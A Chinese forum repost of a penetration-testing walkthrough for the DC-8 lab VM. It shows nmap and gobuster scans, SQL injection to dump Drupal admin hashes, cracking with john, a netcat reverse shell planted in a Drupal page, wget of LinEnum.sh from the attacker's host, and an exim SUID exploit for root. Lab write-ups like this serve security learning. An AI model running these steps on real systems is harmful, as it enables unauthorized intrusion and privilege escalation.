搜索

[133] 2020-02-28_靶机闯关DC-8

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2020-02-28_靶机闯关DC-8 靶 机 闯 关   D C - 8 A d m i n   T e a m   2 0 2 0 - 0 2 - 2 8 编 者 荐 语 ： 靶 机 闯 关   D C - 8 以 下 文 章 来 源 于 黑 白 天   ， 作 者 J e n 靶 机 下 载 ： h t t p : / / w w w . f i v e 8 6 . c o m / d c - 8 . h t m l 环 境 搭 建 ：                 导 入 虚 拟 机 设 置 N A T 。 靶 机 D H C P 已 启 用 开 始 渗 透 ： 使 用 n e t d i s c o v e r 二 层 扫 描 工 具 获 取 靶 机 I P 为 1 9 2 . 1 6 8 . 1 1 1 . 1 3 7 后 使 用 n m a p 对 靶 机 网 络 服 务 端 口 进 行 探 测 黑 白 天 黑 白 天   . 研 究 学 习 一 切 网 络 安 全 相 关 的 技 术 n m a p   - A   - p -   1 9 2 . 1 6 8 . 1 1 1 . 1 3 7
扫 描 发 现 开 放 了 2 2 和 8 0 端 口 ， 分 别 对 应 的 服 务 是 s s h 和 h t t p , 值 得 注 意 的 是 还 发 现 了 r o b o t s . t x t , 访 问 之 发 现 里 面 是 D r u p a l   的 一 些 安 装 文 件 ， 而 且 或 获 知 的 D r u p a l 的 版 本 先 目 录 扫 描 一 波 看 看 有 没 有 一 些 敏 感 目 录 ， 发 现 u s e r 是 一 个 管 理 登 陆 页 面 访 问 8 0 端 口 ， 测 试 了 一 些 页 面 发 现 侧 边 选 项 栏 的 U R L 可 能 存 在 S Q L 注 入 g o b u s t e r   d i r   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 1 1 . 1 3 7   - w   / u s r / s h a r e / w o r d l i s t s / d i r b / b i g . t x t
测 试 一 些 顺 利 爆 出 数 据 库 ， 可 惜 的 是 权 限 不 够 高 接 下 来 进 一 步 获 取 ， 最 后 爆 出 两 个 管 理 员 账 号 和 密 码 ， 但 是 不 是 M D 5 加 密 ， 百 度 了 一 下 应 该 是 哈 希 加 密 把 两 个 h a s h 密 码 保 存 到 两 个 文 件 ， 使 用 j o h n 爆 破
此 时 已 经 知 道 了 登 陆 页 面 ， 使 用 管 理 账 号 密 码 登 陆 进 去 ， 发 现 有 页 面 编 辑 本 来 想 着 使 用 中 国 蚁 剑 连 接 s h e l l 的 ， 但 是 连 接 下 使 用 有 点 不 顺 畅 ， 就 使 用 n e t c a t 反 弹 一 个 s h e l l p h p 代 码 修 改 到 了 C o n t a c t   U s 页 面 上 ， 而 且 测 试 了 一 些 要 运 行 P H P 代 码 是 提 交 数 据 才 行
使 用 p y t h o n 获 取 一 个 完 全 交 互 的 s h e l l ， 并 且 在 本 地 传 输 一 个 l i n u x 辅 助 提 权 脚 本 赋 予 权 限 后 执 行 ， 发 现 e x i m 4 在 使 用 时 具 有 r o o t 权 限 ， 那 这 可 能 是 一 个 突 破 口 （ S U I D 可 以 让 调 用 者 以 文 件 拥 有 者 的 身 份 运 行 该 文 件 ， 所 以 我 们 利 用 S U I D 提 权 的 思 路 就 是 运 行 r o o t 用 户 所 拥 有 的 S U I D 的 文 件 ， 那 么 我 们 运 行 该 文 件 的 时 候 就 得 获 得 r o o t 用 户 的 身 份 了 。 ） 查 阅 版 本 ， 并 且 在 k a l i 上 搜 索 关 于 版 本 的 漏 洞 目 标 s h e l l : p y t h o n   - c   " i m p o r t   p t y ; p t y . s p a w n ( ' / b i n / b a s h ' ) " w g e t   h t t p : / / 1 9 2 . 1 6 8 . 1 1 1 . 1 2 8 : 8 8 8 8 / L i n E n u m . s h k a l i ： p y t h o n   - m   S i m p l e H T T P S e r v e r   8 8 8 8 s e a r c h s p l o i t   e x i m
现 在 看 下 脚 本 的 利 用 方 式 ， 里 面 介 绍 了 有 两 个 使 用 方 式 ， 并 且 使 用 v i m 把 s h e l l 的 文 件 格 式 修 改 成 u n i x ( 如 果 脚 本 文 件 的 格 式 不 是 u n i x 的 话 ， 在 l i n u x 上 执 行 会 报 错 ， 具 体 查 阅 h t t p s : / / b l o g . c s d n . n e t / c h e n z h o u 1 2 3 5 2 0 / a r t i c l e / d e t a i l s / 8 4 4 1 0 3 0 5 ) 修 改 之 后 把 脚 本 文 件 下 载 到 目 标 机 器 ， 给 与 执 行 权 限 使 用 第 一 种 方 式 参 数   s e t u i d 进 行 提 权
但 是 提 权 失 败 了 ， 这 个 时 候 使 用 第 二 种 参 数 提 权 可 以 看 到 已 经 获 取 到 权 限 了 ， 一 般 最 后 的 f l a g 都 是 在 r o o t 里 面 ， 进 入 到 r o o t 即 可 获 取 f l a g 最 后 收 一 下 尾
点 点 关 注 点 点 关 注
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理